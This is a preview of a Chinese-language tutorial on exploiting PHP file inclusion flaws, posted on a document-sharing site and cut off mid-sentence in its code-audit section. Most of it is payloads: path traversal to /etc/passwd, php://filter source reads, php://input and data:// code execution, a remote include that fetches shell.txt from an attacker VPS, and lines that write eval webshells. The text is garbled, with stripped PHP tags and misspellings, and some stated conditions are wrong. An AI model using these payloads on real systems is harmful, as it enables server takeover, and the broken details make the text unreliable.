详解PHP渗透测试文件包含漏洞与利用_第1页
详解PHP渗透测试文件包含漏洞与利用_第2页
详解PHP渗透测试文件包含漏洞与利用_第3页
详解PHP渗透测试文件包含漏洞与利用_第4页
详解PHP渗透测试文件包含漏洞与利用_第5页
已阅读5页,还剩4页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

第详解PHP渗透测试文件包含漏洞与利用目录什么是文件包含漏洞文件包含漏洞的分类本地文件包含漏洞利用利用条件(以PHP为例)直接访问文件利用协议读取源代码截断%00长度截断PHP的伪协议file://php://data://phar://远程文件包含漏洞利用远程包含webshell代码审计修复建议

什么是文件包含漏洞

文件包含,在网站开发人员开发网站时,会将经常重复的代码写道一个单独的文件中,在别的文件中可以使用文件包含的函数来引用单独的文件。目前很多语言都支持文件包含,例如php(inchude,require,inchude_once,require_once)等,,也就是包含文件包含函数,其目的就是减少代码重复,提高代码优化效率,减少函数重复的使用。

文件包含产生的漏洞,因为有这些文件包含的函数,当我们有一定权限(可读)的时候,我们就可以利用文件包含函数包含我们语言指定的文件,或者是包含本地服务器中的文件。简而言之,当php语言在引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过效验,或者没有经过过滤被绕过,从而引用别的文件,导致的恶意代码注入

文件包含漏洞的分类

大体可以分为:本地文件包含和远程文件包含。

远程文件包含:开启条件,在php.ini配置文件中开启allow_url_fopen和allow_url_include,包含文件是第三方文件

本地文件包含:就是本地服务器上的文件

一旦远程包含可以开启,那么远程包含的漏洞比本地包含的漏洞更加的直接,危害也更加的大,可以随意的包含任意主机的任意文件。

本地文件包含

顾名思义,引用本地文件,利用inchude包含函数包含本地(服务器)文件。

漏洞利用

利用条件(以PHP为例)

1.inchude,等函数通过动态变量引入

2.用户能自动控制动态变量

什么是动态变量?

我们可以这么理解,例如一个网站/inchude.phpin=../../../etc/passwd,那么此时的in=../../../etc/passwd是我们动态可以操作的变量

直接访问文件

xx=/etc/passwdxx=../../../etc/passwd

利用协议读取源代码

xx=php://filter/read=convert.base64-encode/resource=xx.php#这样能看到php文件的源码

截断%00

这里假设漏洞代码为

php

if(isset($_GET['shell']))

include($_GET['shell'].".php");//包含文件后会加上.php,并进行访问

}else{

include(index.php);

假设这样正常的网站,我们上传一个图片马文件为tpm.jpg,此时我们需要访问图片时网址就会报错,此时url=/index.php?shell=tpm.jpg.php,此时文件中并没有该文件,此时我们就可以在.jpg后添加%00进行截断,可能可以绕过。

条件:php.ini中magic_quotes_qpc=off并且PHP版本5.3.4的情况。

长度截断

漏洞代码演示

php

$file=$_GET['shell'];

include($file.'.jpg');

与上面原理差不多,在1.txt中写下

当知晓对方服务器的而前提下,我们可以使用超出服务器的解析特征,进行一个绕过。

条件:Windows长度是/.长于256,Linux长度是/.长于4096

PHP的伪协议

file://

作用:

访问本地文件,在CTF中常用文件包含题型

条件:

allow_url_fopen=off/on

allow_url_inchude=off/on

实例:

文件的绝对路径和文件名

/include.phpfile=file://C:\phpStudy\PHPTutorial\WWW\phpinfo.txt

文件的相对路径和文件名

/include.phpfile=./phpinfo.txt

网络路径和文件名

/include.phpfile=/phpinfo.txt

php://

作用:

php://访问输入输出流(i/o)

这里介绍两种常用类型:

php://filter用于读取源码

php://input用于执行PHP代码

条件:

allow_url_fopen=off/on

allow_url_inchude=off/on

实例

php://filter/read=convert.base64-encode/resource=[文件名]//base64读取文件源码

/include.phpfile=php://filter/read=convert.base64-encode/resource=phpinfo.php

php://input+POST执行php代码

/include.phpfile=php://input[POSTDATA部分]phpphpinfo();

如果具有一定的写入权限,POST写入一句话木马

phpfputs(fopen('shell.php','w'),'php@eval($_GET[cmd]);

data://

条件:

allow_url_fopen=on

allow_url_inchude=on

作用:

在PHP=5.2.0起,可以使用data://数据封装器,传递数据相应格式的数据

可以执行PHP代码

实例

/include.phpfile=data://text/plain,php%20phpinfo();

/include.phpfile=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

phar://

phar://协议与zip://类似,同样可以访问zip格式压缩包内容

/include.phpfile=phar://C:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt

利用条件PHP5.3

要想使用Phar类里的方法,必须将phar.readonly=on/off,利用phar协议可以拓展php反序列化漏洞攻击面

远程文件包含

服务器通过PHP的函数去包含任意文件时,由于要包含的这个文件过滤不严格,从而可以去包含一个恶意文件,从而达到攻击的目的

漏洞利用

条件:

allow_url_include=OFF

allow_url_fopen=OFF

远程包含webshell

xxx=http://攻击者的VPS/shell.txt

shell.txt内容为:

php

fputs(fopen('./shell.php','w'),'php@eval($_POST[123])

代码审计

文件包含用到的函数

include()//使用此函数,只有代码执行到此函数时才将文件包含进来,发生错误时只警告并继续执行。

inclue_once()//功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。

require()//使用此函数,只要程序执行,立即调用此函数包含文件发生错误时,会输出错误信息并立即终止程序。

require_once()//功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。

代码审计的时候全局搜索以上函数

如果是基于图像上传的,要搜$_FILES变量,因为PHP处理上传文件的功能,基本都与$_FILES有关。

查看目录结构,重点关注includes、modul

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论